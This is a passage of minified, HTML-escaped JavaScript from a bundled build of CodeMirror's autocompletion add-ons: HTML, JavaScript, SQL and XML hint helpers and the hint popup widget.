t;],formenctype:h,formmethod:g,formnovalidate:[&quot;&quot;,&quot;novalidate&quot;],formtarget:e,multiple:[&quot;&quot;,&quot;multiple&quot;],readonly:[&quot;&quot;,&quot;readonly&quot;],required:[&quot;&quot;,&quot;required&quot;],type:[&quot;hidden&quot;,&quot;text&quot;,&quot;search&quot;,&quot;tel&quot;,&quot;url&quot;,&quot;email&quot;,&quot;password&quot;,&quot;datetime&quot;,&quot;date&quot;,&quot;month&quot;,&quot;week&quot;,&quot;time&quot;,&quot;datetime-local&quot;,&quot;number&quot;,&quot;range&quot;,&quot;color&quot;,&quot;checkbox&quot;,&quot;radio&quot;,&quot;file&quot;,&quot;submit&quot;,&quot;image&quot;,&quot;reset&quot;,&quot;button&quot;]}},ins:{attrs:{cite:null,datetime:null}},kbd:j,keygen:{attrs:{challenge:null,form:null,name:null,autofocus:[&quot;&quot;,&quot;autofocus&quot;],disabled:[&quot;&quot;,&quot;disabled&quot;],keytype:[&quot;RSA&quot;]}},label:{attrs:{&quot;for&quot;:null,form:null}},legend:j,li:{attrs:{value:null}},link:{attrs:{href:null,type:null,hreflang:d,media:i,sizes:[&quot;all&quot;,&quot;16x16&quot;,&quot;16x16 32x32&quot;,&quot;16x16 32x32 64x64&quot;]}},map:{attrs:{name:null}},mark:j,menu:{attrs:{label:null,type:[&quot;list&quot;,&quot;context&quot;,&quot;toolbar&quot;]}},meta:{attrs:{content:null,charset:f,name:[&quot;viewport&quot;,&quot;application-name&quot;,&quot;author&quot;,&quot;description&quot;,&quot;generator&quot;,&quot;keywords&quot;],&quot;http-equiv&quot;:[&quot;content-language&quot;,&quot;content-type&quot;,&quot;default-style&quot;,&quot;refresh&quot;]}},meter:{attrs:{value:null,min:null,low:null,high:null,max:null,optimum:null}},nav:j,noframes:j,noscript:j,object:{attrs:{data:null,type:null,name:null,usemap:null,form:null,width:null,height:null,typemustmatch:[&quot;&quot;,&quot;typemustmatch&quot;]}},ol:{attrs:{reversed:[&quot;&quot;,&quot;reversed&quot;],start:null,type:[&quot;1&quot;,&quot;a&quot;,&quot;A&quot;,&quot;i&quot;,&quot;I&quot;]}},optgroup:{attrs:{disabled:[&quot;&quot;,&quot;disabled&quot;],label:null}},option:{attrs:{disabled:[&quot;&quot;,&quot;disabled&quot;],label:null,selected:[&quot;&quot;,&quot;selected&quot;],value:null}},output:{attrs:{&quot;for&quot;:null,form:null,name:null}},p:j,param:{attrs:{name:null,value:null}},pre:j,progress:{attrs:{value:null,max:null}},q:{attrs:{cite:null}},rp:j,rt:j,ruby:j,s:j,samp:j,script:{attrs:{type:[&quot;text/javascript&quot;],src:null,async:[&quot;&quot;,&quot;async&quot;],defer:[&quot;&quot;,&quot;defer&quot;],charset:f}},section:j,select:{attrs:{form:null,name:null,size:null,autofocus:[&quot;&quot;,&quot;autofocus&quot;],disabled:[&quot;&quot;,&quot;disabled&quot;],multiple:[&quot;&quot;,&quot;multiple&quot;]}},small:j,source:{attrs:{src:null,type:null,media:null}},span:j,strike:j,strong:j,style:{attrs:{type:[&quot;text/css&quot;],media:i,scoped:null}},sub:j,summary:j,sup:j,table:j,tbody:j,td:{attrs:{colspan:null,rowspan:null,headers:null}},textarea:{attrs:{dirname:null,form:null,maxlength:null,name:null,placeholder:null,rows:null,cols:null,autofocus:[&quot;&quot;,&quot;autofocus&quot;],disabled:[&quot;&quot;,&quot;disabled&quot;],readonly:[&quot;&quot;,&quot;readonly&quot;],required:[&quot;&quot;,&quot;required&quot;],wrap:[&quot;soft&quot;,&quot;hard&quot;]}},tfoot:j,th:{attrs:{colspan:null,rowspan:null,headers:null,scope:[&quot;row&quot;,&quot;col&quot;,&quot;rowgroup&quot;,&quot;colgroup&quot;]}},thead:j,time:{attrs:{datetime:null}},title:j,tr:j,track:{attrs:{src:null,label:null,&quot;default&quot;:null,kind:[&quot;subtitles&quot;,&quot;captions&quot;,&quot;descriptions&quot;,&quot;chapters&quot;,&quot;metadata&quot;],srclang:d}},tt:j,u:j,ul:j,&quot;var&quot;:j,video:{attrs:{src:null,poster:null,width:null,height:null,crossorigin:[&quot;anonymous&quot;,&quot;use-credentials&quot;],preload:[&quot;auto&quot;,&quot;metadata&quot;,&quot;none&quot;],autoplay:[&quot;&quot;,&quot;autoplay&quot;],mediagroup:[&quot;movie&quot;],muted:[&quot;&quot;,&quot;muted&quot;],controls:[&quot;&quot;,&quot;controls&quot;]}},wbr:j},l={accesskey:[&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;],&quot;class&quot;:null,contenteditable:[&quot;true&quot;,&quot;false&quot;],contextmenu:null,dir:[&quot;ltr&quot;,&quot;rtl&quot;,&quot;auto&quot;],draggable:[&quot;true&quot;,&quot;false&quot;,&quot;auto&quot;],dropzone:[&quot;copy&quot;,&quot;move&quot;,&quot;link&quot;,&quot;string:&quot;,&quot;file:&quot;],hidden:[&quot;hidden&quot;],id:null,inert:[&quot;inert&quot;],itemid:null,itemprop:null,itemref:null,itemscope:[&quot;itemscope&quot;],itemtype:null,lang:[&quot;en&quot;,&quot;es&quot;],spellcheck:[&quot;true&quot;,&quot;false&quot;],style:null,tabindex:[&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;],title:null,translate:[&quot;yes&quot;,&quot;no&quot;],onclick:null,rel:[&quot;stylesheet&quot;,&quot;alternate&quot;,&quot;author&quot;,&quot;bookmark&quot;,&quot;help&quot;,&quot;license&quot;,&quot;next&quot;,&quot;nofollow&quot;,&quot;noreferrer&quot;,&quot;prefetch&quot;,&quot;prev&quot;,&quot;search&quot;,&quot;tag&quot;]};b(j);for(var m in k)k.hasOwnProperty(m)&amp;&amp;k[m]!=j&amp;&amp;b(k[m]);a.htmlSchema=k,a.registerHelper(&quot;hint&quot;,&quot;html&quot;,c)})},{&quot;../../lib/codemirror&quot;:59,&quot;./xml-hint&quot;:28}],25:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){function b(a,b){for(var c=0,d=a.length;c&lt;d;++c)b(a[c])}function c(a,b){if(!Array.prototype.indexOf){for(var c=a.length;c--;)if(a[c]===b)return!0;return!1}return a.indexOf(b)!=-1}function d(b,c,d,e){var f=b.getCursor(),g=d(b,f);if(!/\b(?:string|comment)\b/.test(g.type)){g.state=a.innerMode(b.getMode(),g.state).state,/^[\w$_]*$/.test(g.string)?g.end&gt;f.ch&amp;&amp;(g.end=f.ch,g.string=g.string.slice(0,f.ch-g.start)):g={start:f.ch,end:f.ch,string:&quot;&quot;,state:g.state,type:&quot;.&quot;==g.string?&quot;property&quot;:null};for(var h=g;&quot;property&quot;==h.type;){if(h=d(b,j(f.line,h.start)),&quot;.&quot;!=h.string)return;if(h=d(b,j(f.line,h.start)),!k)var k=[];k.push(h)}return{list:i(g,k,c,e),from:j(f.line,g.start),to:j(f.line,g.end)}}}function e(a,b){return d(a,n,function(a,b){return a.getTokenAt(b)},b)}function f(a,b){var c=a.getTokenAt(b);return b.ch==c.start+1&amp;&amp;&quot;.&quot;==c.string.charAt(0)?(c.end=c.start,c.string=&quot;.&quot;,c.type=&quot;property&quot;):/^\.[\w$_]*$/.test(c.string)&amp;&amp;(c.type=&quot;property&quot;,c.start++,c.string=c.string.replace(/\./,&quot;&quot;)),c}function g(a,b){return d(a,o,f,b)}function h(a,b){if(Object.getOwnPropertyNames&amp;&amp;Object.getPrototypeOf)for(var c=a;c;c=Object.getPrototypeOf(c))Object.getOwnPropertyNames(c).forEach(b);else for(var d in a)b(d)}function i(a,d,e,f){function g(a){0!=a.lastIndexOf(n,0)||c(j,a)||j.push(a)}function i(a){&quot;string&quot;==typeof a?b(k,g):a instanceof Array?b(l,g):a instanceof Function&amp;&amp;b(m,g),h(a,g)}var j=[],n=a.string,o=f&amp;&amp;f.globalScope||window;if(d&amp;&amp;d.length){var p,q=d.pop();for(q.type&amp;&amp;0===q.type.indexOf(&quot;variable&quot;)?(f&amp;&amp;f.additionalContext&amp;&amp;(p=f.additionalContext[q.string]),f&amp;&amp;f.useGlobalScope===!1||(p=p||o[q.string])):&quot;string&quot;==q.type?p=&quot;&quot;:&quot;atom&quot;==q.type?p=1:&quot;function&quot;==q.type&amp;&amp;(null==o.jQuery||&quot;$&quot;!=q.string&amp;&amp;&quot;jQuery&quot;!=q.string||&quot;function&quot;!=typeof o.jQuery?null!=o._&amp;&amp;&quot;_&quot;==q.string&amp;&amp;&quot;function&quot;==typeof o._&amp;&amp;(p=o._()):p=o.jQuery());null!=p&amp;&amp;d.length;)p=p[d.pop().string];null!=p&amp;&amp;i(p)}else{for(var r=a.state.localVars;r;r=r.next)g(r.name);for(var r=a.state.globalVars;r;r=r.next)g(r.name);f&amp;&amp;f.useGlobalScope===!1||i(o),b(e,g)}return j}var j=a.Pos;a.registerHelper(&quot;hint&quot;,&quot;javascript&quot;,e),a.registerHelper(&quot;hint&quot;,&quot;coffeescript&quot;,g);var k=&quot;charAt charCodeAt indexOf lastIndexOf substring substr slice trim trimLeft trimRight toUpperCase toLowerCase split concat match replace search&quot;.split(&quot; &quot;),l=&quot;length concat join splice push pop shift unshift slice reverse sort indexOf lastIndexOf every some filter forEach map reduce reduceRight &quot;.split(&quot; &quot;),m=&quot;prototype apply call bind&quot;.split(&quot; &quot;),n=&quot;break case catch continue debugger default delete do else false finally for function if in instanceof new null return switch throw true try typeof var void while with&quot;.split(&quot; &quot;),o=&quot;and break catch class continue delete do else extends false finally for if in instanceof isnt new no not null of off on or return switch then throw true try typeof until void while with yes&quot;.split(&quot; &quot;)})},{&quot;../../lib/codemirror&quot;:59}],26:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b){this.cm=a,this.options=b,this.widget=null,this.debounce=0,this.tick=0,this.startPos=this.cm.getCursor(&quot;start&quot;),this.startLen=this.cm.getLine(this.startPos.line).length-this.cm.getSelection().length;var c=this;a.on(&quot;cursorActivity&quot;,this.activityFunc=function(){c.cursorActivity()})}function c(b,c){var d=a.cmpPos(c.from,b.from);return d&gt;0&amp;&amp;b.to.ch-b.from.ch!=c.to.ch-c.from.ch}function d(a,b,c){var d=a.options.hintOptions,e={};for(var f in p)e[f]=p[f];if(d)for(var f in d)void 0!==d[f]&amp;&amp;(e[f]=d[f]);if(c)for(var f in c)void 0!==c[f]&amp;&amp;(e[f]=c[f]);return e.hint.resolve&amp;&amp;(e.hint=e.hint.resolve(a,b)),e}function e(a){return&quot;string&quot;==typeof a?a:a.text}function f(a,b){function c(a,c){var e;e=&quot;string&quot;!=typeof c?function(a){return c(a,b)}:d.hasOwnProperty(c)?d[c]:c,f[a]=e}var d={Up:function(){b.moveFocus(-1)},Down:function(){b.moveFocus(1)},PageUp:function(){b.moveFocus(-b.menuSize()+1,!0)},PageDown:function(){b.moveFocus(b.menuSize()-1,!0)},Home:function(){b.setFocus(0)},End:function(){b.setFocus(b.length-1)},Enter:b.pick,Tab:b.pick,Esc:b.close},e=a.options.customKeys,f=e?{}:d;if(e)for(var g in e)e.hasOwnProperty(g)&amp;&amp;c(g,e[g]);var h=a.options.extraKeys;if(h)for(var g in h)h.hasOwnProperty(g)&amp;&amp;c(g,h[g]);return f}function g(a,b){for(;b&amp;&amp;b!=a;){if(&quot;LI&quot;===b.nodeName.toUpperCase()&amp;&amp;b.parentNode==a)return b;b=b.parentNode}}function h(b,c){this.completion=b,this.data=c,this.picked=!1;var d=this,h=b.cm,i=this.hints=document.createElement(&quot;ul&quot;);i.className=&quot;CodeMirror-hints&quot;,this.selectedHint=c.selectedHint||0;for(var j=c.list,k=0;k&lt;j.length;++k){var n=i.appendChild(document.createElement(&quot;li&quot;)),o=j[k],p=l+(k!=this.selectedHint?&quot;&quot;:&quot; &quot;+m);null!=o.className&amp;&amp;(p=o.className+&quot; &quot;+p),n.className=p,o.render?o.render(n,c,o):n.appendChild(document.createTextNode(o.displayText||e(o))),n.hintId=k}var q=h.cursorCoords(b.options.alignWithWord?c.from:null),r=q.left,s=q.bottom,t=!0;i.style.left=r+&quot;px&quot;,i.style.top=s+&quot;px&quot;;var u=window.innerWidth||Math.max(document.body.offsetWidth,document.documentElement.offsetWidth),v=window.innerHeight||Math.max(document.body.offsetHeight,document.documentElement.offsetHeight);(b.options.container||document.body).appendChild(i);var w=i.getBoundingClientRect(),x=w.bottom-v,y=i.scrollHeight&gt;i.clientHeight+1,z=h.getScrollInfo();if(x&gt;0){var A=w.bottom-w.top,B=q.top-(q.bottom-w.top);if(B-A&gt;0)i.style.top=(s=q.top-A)+&quot;px&quot;,t=!1;else if(A&gt;v){i.style.height=v-5+&quot;px&quot;,i.style.top=(s=q.bottom-w.top)+&quot;px&quot;;var C=h.getCursor();c.from.ch!=C.ch&amp;&amp;(q=h.cursorCoords(C),i.style.left=(r=q.left)+&quot;px&quot;,w=i.getBoundingClientRect())}}var D=w.right-u;if(D&gt;0&amp;&amp;(w.right-w.left&gt;u&amp;&amp;(i.style.width=u-5+&quot;px&quot;,D-=w.right-w.left-u),i.style.left=(r=q.left-D)+&quot;px&quot;),y)for(var E=i.firstChild;E;E=E.nextSibling)E.style.paddingRight=h.display.nativeBarWidth+&quot;px&quot;;if(h.addKeyMap(this.keyMap=f(b,{moveFocus:function(a,b){d.changeActive(d.selectedHint+a,b)},setFocus:function(a){d.changeActive(a)},menuSize:function(){return d.screenAmount()},length:j.length,close:function(){b.close()},pick:function(){d.pick()},data:c})),b.options.closeOnUnfocus){var F;h.on(&quot;blur&quot;,this.onBlur=function(){F=setTimeout(function(){b.close()},100)}),h.on(&quot;focus&quot;,this.onFocus=function(){clearTimeout(F)})}return h.on(&quot;scroll&quot;,this.onScroll=function(){var a=h.getScrollInfo(),c=h.getWrapperElement().getBoundingClientRect(),d=s+z.top-a.top,e=d-(window.pageYOffset||(document.documentElement||document.body).scrollTop);return t||(e+=i.offsetHeight),e&lt;=c.top||e&gt;=c.bottom?b.close():(i.style.top=d+&quot;px&quot;,void(i.style.left=r+z.left-a.left+&quot;px&quot;))}),a.on(i,&quot;dblclick&quot;,function(a){var b=g(i,a.target||a.srcElement);b&amp;&amp;null!=b.hintId&amp;&amp;(d.changeActive(b.hintId),d.pick())}),a.on(i,&quot;click&quot;,function(a){var c=g(i,a.target||a.srcElement);c&amp;&amp;null!=c.hintId&amp;&amp;(d.changeActive(c.hintId),b.options.completeOnSingleClick&amp;&amp;d.pick())}),a.on(i,&quot;mousedown&quot;,function(){setTimeout(function(){h.focus()},20)}),a.signal(c,&quot;select&quot;,j[this.selectedHint],i.childNodes[this.selectedHint]),!0}function i(a,b){if(!a.somethingSelected())return b;for(var c=[],d=0;d&lt;b.length;d++)b[d].supportsSelection&amp;&amp;c.push(b[d]);return c}function j(a,b,c,d){if(a.async)a(b,d,c);else{var e=a(b,c);e&amp;&amp;e.then?e.then(d):d(e)}}function k(b,c){var d,e=b.getHelpers(c,&quot;hint&quot;);if(e.length){var f=function(a,b,c){function d(e){return e==f.length?b(null):void j(f[e],a,c,function(a){a&amp;&amp;a.list.length&gt;0?b(a):d(e+1)})}var f=i(a,e);d(0)};return f.async=!0,f.supportsSelection=!0,f}return(d=b.getHelper(b.getCursor(),&quot;hintWords&quot;))?function(b){return a.hint.fromList(b,{words:d})}:a.hint.anyword?function(b,c){return a.hint.anyword(b,c)}:function(){}}var l=&quot;CodeMirror-hint&quot;,m=&quot;CodeMirror-hint-active&quot;;a.showHint=function(a,b,c){if(!b)return a.showHint(c);c&amp;&amp;c.async&amp;&amp;(b.async=!0);var d={hint:b};if(c)for(var e in c)d[e]=c[e];return a.showHint(d)},a.defineExtension(&quot;showHint&quot;,function(c){c=d(this,this.getCursor(&quot;start&quot;),c);var e=this.listSelections();if(!(e.length&gt;1)){if(this.somethingSelected()){if(!c.hint.supportsSelection)return;for(var f=0;f&lt;e.length;f++)if(e[f].head.line!=e[f].anchor.line)return}this.state.completionActive&amp;&amp;this.state.completionActive.close();var g=this.state.completionActive=new b(this,c);g.options.hint&amp;&amp;(a.signal(this,&quot;startCompletion&quot;,this),g.update(!0))}});var n=window.requestAnimationFrame||function(a){return setTimeout(a,1e3/60)},o=window.cancelAnimationFrame||clearTimeout;b.prototype={close:function(){this.active()&amp;&amp;(this.cm.state.completionActive=null,this.tick=null,this.cm.off(&quot;cursorActivity&quot;,this.activityFunc),this.widget&amp;&amp;this.data&amp;&amp;a.signal(this.data,&quot;close&quot;),this.widget&amp;&amp;this.widget.close(),a.signal(this.cm,&quot;endCompletion&quot;,this.cm))},active:function(){return this.cm.state.completionActive==this},pick:function(b,c){var d=b.list[c];d.hint?d.hint(this.cm,b,d):this.cm.replaceRange(e(d),d.from||b.from,d.to||b.to,&quot;complete&quot;),a.signal(b,&quot;pick&quot;,d),this.close()},cursorActivity:function(){this.debounce&amp;&amp;(o(this.debounce),this.debounce=0);var a=this.cm.getCursor(),b=this.cm.getLine(a.line);if(a.line!=this.startPos.line||b.length-a.ch!=this.startLen-this.startPos.ch||a.ch&lt;this.startPos.ch||this.cm.somethingSelected()||a.ch&amp;&amp;this.options.closeCharacters.test(b.charAt(a.ch-1)))this.close();else{var c=this;this.debounce=n(function(){c.update()}),this.widget&amp;&amp;this.widget.disable()}},update:function(a){if(null!=this.tick){var b=this,c=++this.tick;j(this.options.hint,this.cm,this.options,function(d){b.tick==c&amp;&amp;b.finishUpdate(d,a)})}},finishUpdate:function(b,d){this.data&amp;&amp;a.signal(this.data,&quot;update&quot;);var e=this.widget&amp;&amp;this.widget.picked||d&amp;&amp;this.options.completeSingle;this.widget&amp;&amp;this.widget.close(),b&amp;&amp;this.data&amp;&amp;c(this.data,b)||(this.data=b,b&amp;&amp;b.list.length&amp;&amp;(e&amp;&amp;1==b.list.length?this.pick(b,0):(this.widget=new h(this,b),a.signal(b,&quot;shown&quot;))))}},h.prototype={close:function(){if(this.completion.widget==this){this.completion.widget=null,this.hints.parentNode.removeChild(this.hints),this.completion.cm.removeKeyMap(this.keyMap);var a=this.completion.cm;this.completion.options.closeOnUnfocus&amp;&amp;(a.off(&quot;blur&quot;,this.onBlur),a.off(&quot;focus&quot;,this.onFocus)),a.off(&quot;scroll&quot;,this.onScroll)}},disable:function(){this.completion.cm.removeKeyMap(this.keyMap);var a=this;this.keyMap={Enter:function(){a.picked=!0}},this.completion.cm.addKeyMap(this.keyMap)},pick:function(){this.completion.pick(this.data,this.selectedHint)},changeActive:function(b,c){if(b&gt;=this.data.list.length?b=c?this.data.list.length-1:0:b&lt;0&amp;&amp;(b=c?0:this.data.list.length-1),this.selectedHint!=b){var d=this.hints.childNodes[this.selectedHint];d.className=d.className.replace(&quot; &quot;+m,&quot;&quot;),d=this.hints.childNodes[this.selectedHint=b],d.className+=&quot; &quot;+m,d.offsetTop&lt;this.hints.scrollTop?this.hints.scrollTop=d.offsetTop-3:d.offsetTop+d.offsetHeight&gt;this.hints.scrollTop+this.hints.clientHeight&amp;&amp;(this.hints.scrollTop=d.offsetTop+d.offsetHeight-this.hints.clientHeight+3),a.signal(this.data,&quot;select&quot;,this.data.list[this.selectedHint],d)}},screenAmount:function(){return Math.floor(this.hints.clientHeight/this.hints.firstChild.offsetHeight)||1}},a.registerHelper(&quot;hint&quot;,&quot;auto&quot;,{resolve:k}),a.registerHelper(&quot;hint&quot;,&quot;fromList&quot;,function(b,c){var d=b.getCursor(),e=b.getTokenAt(d),f=a.Pos(d.line,e.end);if(e.string&amp;&amp;/\w/.test(e.string[e.string.length-1]))var g=e.string,h=a.Pos(d.line,e.start);else var g=&quot;&quot;,h=f;for(var i=[],j=0;j&lt;c.words.length;j++){var k=c.words[j];k.slice(0,g.length)==g&amp;&amp;i.push(k)}if(i.length)return{list:i,from:h,to:f}}),a.commands.autocomplete=a.showHint;var p={hint:a.hint.auto,completeSingle:!0,alignWithWord:!0,closeCharacters:/[\s()\[\]{};:&gt;,]/,closeOnUnfocus:!0,completeOnSingleClick:!0,container:null,customKeys:null,extraKeys:null};a.defineOption(&quot;hintOptions&quot;,null)})},{&quot;../../lib/codemirror&quot;:59}],27:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;../../mode/sql/sql&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;../../mode/sql/sql&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a){return&quot;[object Array]&quot;==Object.prototype.toString.call(a)}function c(b){var c=b.doc.modeOption;return&quot;sql&quot;===c&amp;&amp;(c=&quot;text/x-sql&quot;),a.resolveMode(c).keywords}function d(b){var c=b.doc.modeOption;return&quot;sql&quot;===c&amp;&amp;(c=&quot;text/x-sql&quot;),a.resolveMode(c).identifierQuote||&quot;`&quot;}function e(a){return&quot;string&quot;==typeof a?a:a.text}function f(a,c){return b(c)&amp;&amp;(c={columns:c}),c.text||(c.text=a),c}function g(a){var c={};if(b(a))for(var d=a.length-1;d&gt;=0;d--){var g=a[d];c[e(g).toUpperCase()]=f(e(g),g)}else if(a)for(var h in a)c[h.toUpperCase()]=f(h,a[h]);return c}function h(a){return q[a.toUpperCase()]}function i(a){var b={};for(var c in a)a.hasOwnProperty(c)&amp;&amp;(b[c]=a[c]);return b}function j(a,b){var c=a.length,d=e(b).substr(0,c);return a.toUpperCase()===d.toUpperCase()}function k(a,c,d,e){if(b(d))for(var f=0;f&lt;d.length;f++)j(c,d[f])&amp;&amp;a.push(e(d[f]));else for(var g in d)if(d.hasOwnProperty(g)){var h=d[g];h=h&amp;&amp;h!==!0?h.displayText?{text:h.text,displayText:h.displayText}:h.text:g,j(c,h)&amp;&amp;a.push(e(h))}}function l(a){&quot;.&quot;==a.charAt(0)&amp;&amp;(a=a.substr(1));for(var b=a.split(t+t),c=0;c&lt;b.length;c++)b[c]=b[c].replace(new RegExp(t,&quot;g&quot;),&quot;&quot;);return b.join(t)}function m(a){for(var b=e(a).split(&quot;.&quot;),c=0;c&lt;b.length;c++)b[c]=t+b[c].replace(new RegExp(t,&quot;g&quot;),t+t)+t;var d=b.join(&quot;.&quot;);return&quot;string&quot;==typeof a?d:(a=i(a),a.text=d,a)}function n(a,b,c,d){for(var e=!1,f=[],g=b.start,j=!0;j;)j=&quot;.&quot;==b.string.charAt(0),e=e||b.string.charAt(0)==t,g=b.start,f.unshift(l(b.string)),b=d.getTokenAt(v(a.line,b.start)),&quot;.&quot;==b.string&amp;&amp;(j=!0,b=d.getTokenAt(v(a.line,b.start)));var n=f.join(&quot;.&quot;);k(c,n,q,function(a){return e?m(a):a}),k(c,n,r,function(a){return e?m(a):a}),n=f.pop();var o=f.join(&quot;.&quot;),s=!1,u=o;
if(!h(o)){var w=o;o=p(o,d),o!==w&amp;&amp;(s=!0)}var x=h(o);return x&amp;&amp;x.columns&amp;&amp;(x=x.columns),x&amp;&amp;k(c,n,x,function(a){var b=o;return 1==s&amp;&amp;(b=u),&quot;string&quot;==typeof a?a=b+&quot;.&quot;+a:(a=i(a),a.text=b+&quot;.&quot;+a.text),e?m(a):a}),g}function o(a,b){for(var c=a.split(/\s+/),d=0;d&lt;c.length;d++)c[d]&amp;&amp;b(c[d].replace(/[,;]/g,&quot;&quot;))}function p(a,b){for(var c=b.doc,d=c.getValue(),e=a.toUpperCase(),f=&quot;&quot;,g=&quot;&quot;,i=[],j={start:v(0,0),end:v(b.lastLine(),b.getLineHandle(b.lastLine()).length)},k=d.indexOf(u.QUERY_DIV);k!=-1;)i.push(c.posFromIndex(k)),k=d.indexOf(u.QUERY_DIV,k+1);i.unshift(v(0,0)),i.push(v(b.lastLine(),b.getLineHandle(b.lastLine()).text.length));for(var l=null,m=b.getCursor(),n=0;n&lt;i.length;n++){if((null==l||w(m,l)&gt;0)&amp;&amp;w(m,i[n])&lt;=0){j={start:l,end:i[n]};break}l=i[n]}for(var p=c.getRange(j.start,j.end,!1),n=0;n&lt;p.length;n++){var q=p[n];if(o(q,function(a){var b=a.toUpperCase();b===e&amp;&amp;h(f)&amp;&amp;(g=f),b!==u.ALIAS_KEYWORD&amp;&amp;(f=a)}),g)break}return g}var q,r,s,t,u={QUERY_DIV:&quot;;&quot;,ALIAS_KEYWORD:&quot;AS&quot;},v=a.Pos,w=a.cmpPos;a.registerHelper(&quot;hint&quot;,&quot;sql&quot;,function(a,b){q=g(b&amp;&amp;b.tables);var e=b&amp;&amp;b.defaultTable,f=b&amp;&amp;b.disableKeywords;r=e&amp;&amp;h(e),s=c(a),t=d(a),e&amp;&amp;!r&amp;&amp;(r=p(e,a)),r=r||[],r.columns&amp;&amp;(r=r.columns);var i,j,l,m=a.getCursor(),o=[],u=a.getTokenAt(m);return u.end&gt;m.ch&amp;&amp;(u.end=m.ch,u.string=u.string.slice(0,m.ch-u.start)),u.string.match(/^[.`&quot;\w@]\w*$/)?(l=u.string,i=u.start,j=u.end):(i=j=m.ch,l=&quot;&quot;),&quot;.&quot;==l.charAt(0)||l.charAt(0)==t?i=n(m,u,o,a):(k(o,l,q,function(a){return a}),k(o,l,r,function(a){return a}),f||k(o,l,s,function(a){return a.toUpperCase()})),{list:o,from:v(m.line,i),to:v(m.line,j)}})})},{&quot;../../lib/codemirror&quot;:59,&quot;../../mode/sql/sql&quot;:74}],28:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(b,d){var e=d&amp;&amp;d.schemaInfo,f=d&amp;&amp;d.quoteChar||&#039;&quot;&#039;;if(e){var g=b.getCursor(),h=b.getTokenAt(g);h.end&gt;g.ch&amp;&amp;(h.end=g.ch,h.string=h.string.slice(0,g.ch-h.start));var i=a.innerMode(b.getMode(),h.state);if(&quot;xml&quot;==i.mode.name){var j,k,l=[],m=!1,n=/\btag\b/.test(h.type)&amp;&amp;!/&gt;$/.test(h.string),o=n&amp;&amp;/^\w/.test(h.string);if(o){var p=b.getLine(g.line).slice(Math.max(0,h.start-2),h.start),q=/&lt;\/$/.test(p)?&quot;close&quot;:/&lt;$/.test(p)?&quot;open&quot;:null;q&amp;&amp;(k=h.start-(&quot;close&quot;==q?2:1))}else n&amp;&amp;&quot;&lt;&quot;==h.string?q=&quot;open&quot;:n&amp;&amp;&quot;&lt;/&quot;==h.string&amp;&amp;(q=&quot;close&quot;);if(!n&amp;&amp;!i.state.tagName||q){o&amp;&amp;(j=h.string),m=q;var r=i.state.context,s=r&amp;&amp;e[r.tagName],t=r?s&amp;&amp;s.children:e[&quot;!top&quot;];if(t&amp;&amp;&quot;close&quot;!=q)for(var u=0;u&lt;t.length;++u)j&amp;&amp;0!=t[u].lastIndexOf(j,0)||l.push(&quot;&lt;&quot;+t[u]);else if(&quot;close&quot;!=q)for(var v in e)!e.hasOwnProperty(v)||&quot;!top&quot;==v||&quot;!attrs&quot;==v||j&amp;&amp;0!=v.lastIndexOf(j,0)||l.push(&quot;&lt;&quot;+v);r&amp;&amp;(!j||&quot;close&quot;==q&amp;&amp;0==r.tagName.lastIndexOf(j,0))&amp;&amp;l.push(&quot;&lt;/&quot;+r.tagName+&quot;&gt;&quot;)}else{var s=e[i.state.tagName],w=s&amp;&amp;s.attrs,x=e[&quot;!attrs&quot;];if(!w&amp;&amp;!x)return;if(w){if(x){var y={};for(var z in x)x.hasOwnProperty(z)&amp;&amp;(y[z]=x[z]);for(var z in w)w.hasOwnProperty(z)&amp;&amp;(y[z]=w[z]);w=y}}else w=x;if(&quot;string&quot;==h.type||&quot;=&quot;==h.string){var A,p=b.getRange(c(g.line,Math.max(0,g.ch-60)),c(g.line,&quot;string&quot;==h.type?h.start:h.end)),B=p.match(/([^\s\u00a0=&lt;&gt;\&quot;\&#039;]+)=$/);if(!B||!w.hasOwnProperty(B[1])||!(A=w[B[1]]))return;if(&quot;function&quot;==typeof A&amp;&amp;(A=A.call(this,b)),&quot;string&quot;==h.type){j=h.string;var C=0;/[&#039;&quot;]/.test(h.string.charAt(0))&amp;&amp;(f=h.string.charAt(0),j=h.string.slice(1),C++);var D=h.string.length;/[&#039;&quot;]/.test(h.string.charAt(D-1))&amp;&amp;(f=h.string.charAt(D-1),j=h.string.substr(C,D-2)),m=!0}for(var u=0;u&lt;A.length;++u)j&amp;&amp;0!=A[u].lastIndexOf(j,0)||l.push(f+A[u]+f)}else{&quot;attribute&quot;==h.type&amp;&amp;(j=h.string,m=!0);for(var E in 